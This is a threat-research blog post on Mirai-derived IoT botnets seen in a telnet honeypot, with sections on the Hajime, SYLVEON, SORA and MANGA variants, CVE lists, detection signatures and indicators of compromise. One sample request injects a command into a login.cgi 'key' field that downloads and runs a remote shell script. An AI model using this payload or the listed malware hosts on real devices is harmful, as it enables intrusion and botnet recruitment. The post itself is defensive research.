The Ghosts of Mirai

fortinet.com/blog/threat-research/the-ghosts-of-mirai

June 24, 2021

FortiGuard Labs Threat Research Report

Affected Platforms: Linux
Impacted Users: Any organization
Impact: Remote attackers gain control of the vulnerable systems
Severity Level: Critical

It has been almost five years since the source code of the notorious MIRAI IoT malware was released to the public by its author in late 2016. This event led to the emergence of numerous copycats, creating their own flavors of IoT botnet armies. Although improvements have been constantly added since then by various threat actors, the structure and goal of the campaigns have remained the same.

IoT malware scans the Internet for IoT devices that use default or weak usernames and passwords. They also seek to exploit known—and sometimes even zero-day—vulnerabilities to increase their chances of gaining access. And once they do, malicious binaries are downloaded and executed that make the device part of a zombie network that could then be instructed to participate in a Distributed Denial-of-Service (DDOS) attack that could cause a service outage to an unfortunate target. Some threat actors even sell these curated botnets as a service.

We have been closely monitoring the current state of the IoT botnet threat landscape through the perspective of an IoT device with the help of a honeypot system. This article describes our observations over the last few weeks.

Where are These Attacks Coming From?

To simulate what it would be like for a new IoT device to be connected to the internet for the first time, we set up a fresh honeypot system to capture what kinds of attacks it would receive. This honeypot was designed to be vulnerable to telnet credential brute force attacks. The statistics in this article were taken from a three-week period.

On average, this honeypot system received around 200 attacks per day, ultimately recording nearly 4700 telnet connections in just three weeks. We were then able to identify nearly 4000 of those attacks and connect them to a Mirai-related malware family.

Figure 1 Number of telnet connections per day

Since this honeypot does not execute any of the downloaded binaries, most of the attacks keep retrying until their malware has executed in the system. By removing IP duplicates, the actual number of attack sources was obtained and is broken down in the next table.

Figure 2 Unique telnet source IPs per country

Top IoT Malware Variants

Mirai variant authors use unique strings or tokens in their binaries that are used to verify whether SSH or Telnet commands were successfully executed in the device—although this could also be used by the threat actors to advertise their malware or, in some cases, simply as a placeholder for novelty messages.

The figure below shows a sequence of commands that the SORA Mirai variant executes immediately after gaining access to a device.

Figure 3 Sample shell commands executed by a SORA bot

These strings have been heavily used by researchers over time to classify variants. However, there are cases where variants may use different tokens but turn out to be the same malware function-wise—and are even operated by the same threat actor. In such cases, analyzing the actual binary being downloaded into the device would greatly help further define the number of existing variants.

Based on the attacks received by the honeypot, the following table shows the top 10 variants we were able to identify.

Figure 4 Top ten identified variants

The Enigmatic “Hajime”

Hajime was dubbed as the successor to the first generation of Mirai. Built on the same principle and goals as of its predecessor, it tries to propagate to IOT devices by means of brute-forcing credentials using a password list of common default device passwords. However, unlike Mirai, Hajime utilizes a decentralized peer-to-peer network to issue commands to its bots. This makes it much harder to locate the Command-and-Control (C2) server for a takedown.

Aside from its sophisticated bot network communication, it is also one of the most mysterious variants due to its vague intentions. Commands sent to Hajime bots are in the form of structured messages that are passed along in the peer-to-peer network. One of these commands instruct bots to download and execute binaries, internally called "modules". Only the spreading module has been observed being served in the wild. No attack or disruptive modules have been observed, and Hajime has never been associated with any disruption attacks. Furthermore, part of its behavior is to block access to ports that are commonly targeted by other IoT malware, thereby inadvertently (or not) somewhat protecting the infected device from further infections.

Lastly, it delivers the following message to the device’s terminal:

Just a white hat, securing some systems.

Important messages will be signed like this!

Hajime Author.

Contact CLOSED Stay sharp!

It was only a matter of time before some speculated that Hajime might be the work of a real vigilante.

SYLVEON Coming Out of Retirement?

What surprised us more was the appearance of the SYLVEON variant on the table. In mid-2019 there was a 14-year old European IoT malware author that went by the name of “Light The Sylveon” and “Light The Leafeon”.

When we took quick look at the decrypted strings of one of the binaries we captured, the word “Leafeon” was found, creating speculation that this might be the author’s comeback.

Figure 5 Strings found in SYLVEON binaries

“Light the Sylveon” co-created the destructive SILEX IoT malware, whose goal was to render vulnerable devices inoperable by running destructive commands–very similar to BrickerBot. From the malware authors’ perspective, based on a message embedded in the malware’s binary, this was to “prevent skids to flex their skidded botnet.”

Eventually, the “Light The Sylveon” author announced through a post on his twitter account that he was going to abandon the project.

Figure 6 "Light The Sylveon" announces quitting on a twitter post

Unlike SILEX, however, SYLVEON is a conventional IoT malware that was clearly based on the Mirai source code with some added attacks.

Figure 7 Function name list found in a SYLVEON binary

Interestingly enough, the group *greek.Helios* and a certain *Thar3seller,* which were a group previously associated with other IoT malware campaigns, currently claim to be the authors of this variant.

Figure 8 Strings found in a SYLVEON binary

The relationship between these different authors is still unclear. What we are certain about is that this variant is being actively operated, as also shown by recently updated binaries found in one of its download servers.

Figure 9 Open directory hosting SYLVEON variant

SORA - The Surviving Member of the Wicked Family

It is also interesting to see Mirai variants that were authored by the threat actor known as *Wicked* that we covered three years ago. These variants include Owari, Omni, Wicked, and SORA. Based on an interview at that time, the author stated he was going to focus on Owari and Omni while abandoning the other two variants, including SORA. Based on our observastions, it seems that SORA has more successfully survived than its siblings.

Mirai Variant MANGA Actively Updates its List of Targeted Vulnerabilities

Aside from the honeypot, we have also been monitoring Mirai variants from other sources. In particular, we have been closely monitoring the developments of the MANGA variant because it is one of the most active in terms of adding new exploit vectors to its list.

In fact, just a week ago, it added several more exploits, two of which are fairly recent:

OptiLink ONT1GEW GPON Remote Code Execution (formTracert function)

Figure 10 Sample request leading to an RCE on OptiLink GPON

CVE-2021-1498 (Cisco HyperFlex HX Remote Code Execution)

Figure 11 Sample request targeting CVE-2021-1498

CVE-2021-31755 (Tenda Router AC11 Remote Code Execution)

Figure 12 Sample request targeting CVE-2021-31755

Unknown 1 (Unidentified target)

Sample request:

Figure 13 Sample request targeting an unknown target

Here is a list of other vulnerabilities this malware variant tries to exploit:

Vulnerability	Description
CVE-2021-22986	F5 iControl REST Remote Code Execution
CVE-2009-4490	mini_httpd 1.18 Escape Sequence
CVE-2018-10088	XiongMai uc-httpd Buffer Overflow
CVE-2020-28188	TerraMaster TOS Remote Code Execution
CVE-2020-29557	D-Link DIR-825 Buffer Overflow
CVE-2020-25506	D-Link DNS-320 Remote Code Execution

CVE-2021-22502	Micro Focus OBR Remote Code Execution
CVE-2021-27561/CVE-2021-27562	Yealink DM (Device Management) Remote Code Execution
CVE-2021-22991	F5 BIG-IP Buffer Overflow
VisualDoor*(2021-01-29)*	SonicWall SSL-VPN Remote Code Execution
Unknown 2	*key* parameter on */cgi-bin/login.cgi* leading to Remote Code Execution Sample request: **POST /cgi-bin/login.cgi HTTP/1.1** Connection: keep-alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 key=';`cd /tmp; wget http://{REDACTED IP}/lolol.sh; curl -O http://{REDACTED IP}/lolol.sh; chmod 777 lolol.sh; sh lolol.sh;`;#

Figure 14 List of other vulnerabilities being targeted by Manga

Conclusion

As the number of installed IoT devices continues to explode, especially given the current lack of security standards available to protect them, IoT will be a hotbed for malware operations for the foreseeable future, as we have demonstrated in this article. And interestingly, Mirai variants are still very active in terms of attack and development.

Solutions

Every artifact collected from our honeypot systems and other sources are automatically processed to ensure that our customers are protected from these attacks. That said, the following precautions are highly recommended:

- As credential brute-forcing is still the primary way malwares get into IoT devices, setting usernames and passwords that are difficult to guess can go a long way towards securing them.
- In addition, to protect against known vulnerabilities, always keep device software up to date.

Fortinet customers are protected by the following:

- Related samples are detected by FortiGuard Antivirus
- Downloaded URLs and identified C2s are blocked by FortiGuard Web Filtering Service.
- Mentioned exploit attacks are detected using the following IPS signatures:
  - CVE-2021-22986 - F5.iControl.REST.Interface.Remote.Command.Execution
  - CVE-2009-4490- Acme.thttpd.and.minihttpd.Command.Injection.Vulnerability
  - CVE-2018-10088 - XiongMai.uc-httpd.Buffer.Overflow
  - CVE-2020-28188- TerraMaster.TOS.Makecvs.PHP.Unauthenticated.Command.Execution
  - CVE-2020-25506 - D-Link.ShareCenter.Products.CGI.Code.Execution
  - CVE-2020-29957 - D-Link.DIR.825.Buffer.Overflow
  - CVE-2021-22502- Micro.Focus.Operations.Bridge.Reporter.Command.Injection
  - CVE-2021-27561/CVE-2021-27562 - Yealink.Device.Management.Platform.Command.Injection
  - CVE-2021-22991 **-** F5.BIG.IP.TMM.URI.Normalization.Buffer.Overflow
  - VisualDoor RCE - Bash.Function.Definitions.Remote.Code.Execution
  - OptiLink ONT1GEW GPON RCE - Optilink.GPON.Router.formTracert.Remote.Command.Execution
  - CVE-2021-1498 - Cisco.HyperFlex.HX.storfs-asup.Handling.Command.Injection

IOCs

MANGA

Files (SHA256)
25fcefa76d1752b40b33f353332ddb48b3bae529f0af24347ffeffc5e1acd5cd
5312cb57d8c38ab349a9d67db65c66a733758cb29eb118c958ede11a98322c8a
6075c917e2b25ff2def7cdb3019e0ad725a02387c9e1e83cb6514bd410c8f928
fd2aed69644ff8edcc501945ca5e83d548c6c346d3e92c922eeb3f5da03f9b8d
626e1a247045dff09c4b6aa5de8d9b9d1d385846306a359587f42b60d4413258
68601bae31381d2205dd16df1f2aff52592f9a9aad71ea5f60f68321c6aea579
40066f30b72b4184b33e834712832879f8814ddaf56c71f33bbaacb890c350f0
51ffd3c3e1b10b629692b3b1120c777388ae73c61469bb2926d2a70a457ea14d
fee1a5ceea21f14b60f0d632a2889bf3ef81f45eb783e53ada44b9b2f8e4a4a
7df6c4d3bc4f528c5928e3ef09feb532e3407f893af02c16437e669390d6a09f
eb64753c578138157eeff8ba1087a94538f1337bd4c6d09ac26806cb12ff69c1

ef57d97bffb2ef7a435fe6668d0aba12196cd91ee1cd3d5446ad525995b76b8d
c9845823a32b9b5ff59f76771c90e4f23c8f94e9013051797cfd4efdf43c4d4f
1a2bc7e97c73efbbbe4a7ad0f577c2b3585f1fe15a3fdb82bd79f13906d838d0
ca9965127cfdae9e2d8b228af0ab691589ac27cc5ca17a3377de2e8551b64f9f
49e5ba121c216146cdcf63ebade1853a3710fa266f8c456e3dcee0565e6bdbb1
1bb9bda36b1d2a8963e5a2687ce4645a02805ad0ccb74a0b234cdb9503fdd8e3
f19c64746eddcd33daa30df9c9f282863ad05b22e2f143382f0ab18547cd6497
ec7f7a791e7bca70b5143bbe9064124ae05cdfc13a3c7ab295b6f555eda1ed7d

Download URLs
http[:]//212.192.241.72/bins/dark.mpsl
http[:]//212.192.241.72/bins/dark.arm5
http[:]//212.192.241.72/bins/dark.arm6
http[:]//212.192.241.72/bins/dark.arm7
http[:]//212.192.241.72/bins/dark.x86
http[:]//212.192.241.72/bins/dark.ppc
http[:]//212.192.241.72/bins/dark.mips

Hajime

Files (SHA256)
a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3
Download URLs
http[:]//121.121.122.176:29641/.i
http[:]//121.162.45.6:38828/.i
http[:]//125.227.193.220:38674/.i
http[:]//130.164.183.217:62624/.i
http[:]//14.42.160.123:19634/.i
http[:]//147.234.71.142:7011/.i
http[:]//171.232.247.121:63812/.i
http[:]//171.247.233.69:36829/.i
http[:]//175.115.103.118:8450/.i
http[:]//178.116.76.54:20060/.i
http[:]//183.108.201.171:32745/.i
http[:]//184.82.56.195:58027/.i
http[:]//187.233.194.166:3181/.i
http[:]//187.37.198.126:14552/.i
http[:]//189.132.235.210:43064/.i
http[:]//189.173.97.200:41775/.i
http[:]//190.18.221.214:51789/.i
http[:]//2.45.4.24:50436/.i

http[:]//201.105.177.84:25768/.i
http[:]//210.99.125.95:56779/.i
http[:]//211.107.151.26:26593/.i

Sample commands after gaining access:

SYLVEON

Files (SHA256)
2bdd553ad6485d11844c6cb68ae63f083c7f2ee6029f128a1521427e9a29aad5
311ac01e395d96f8017ef95dfa9ee8f00aa527e02cfcd207de371e04e5aed023
4a4b8fdbe2cff3547e6d808226d34cf6059d9160326326d3b90d851e602035d8
7edb2ff320e99a1b92c7fa51dcd485edbc15eb4d23520ee26ed0d42600a733a1
4bbf2dab9cce066bab887e0058150157f0417d6dceca64025ce2127a8eb584b0
208ae3086c769098f1a55ac6d88fb760571010c16f4a0e25c98ee0d33d4bdbbc
fac943c6173cf183e53bea76d4f6b07dbb455ec3dc98dda71164267fc7e1dbb4

Download URLs
http[:]//31.210.20.138/uwu/arm6
http[:]//31.210.20.138/uwu/ppc
http[:]//31.210.20.138/arm6
http[:]//31.210.20.138/sh4
http[:]//45.153.203.219/uwu/arm6
http[:]//45.95.169.110/bins/m68k

Sample commands after gaining access:

Learn more about Fortinet's FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio.

Learn more about Fortinet's free cybersecurity training, an initiative of Fortinet's Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program, Security Academy program, and Veterans program.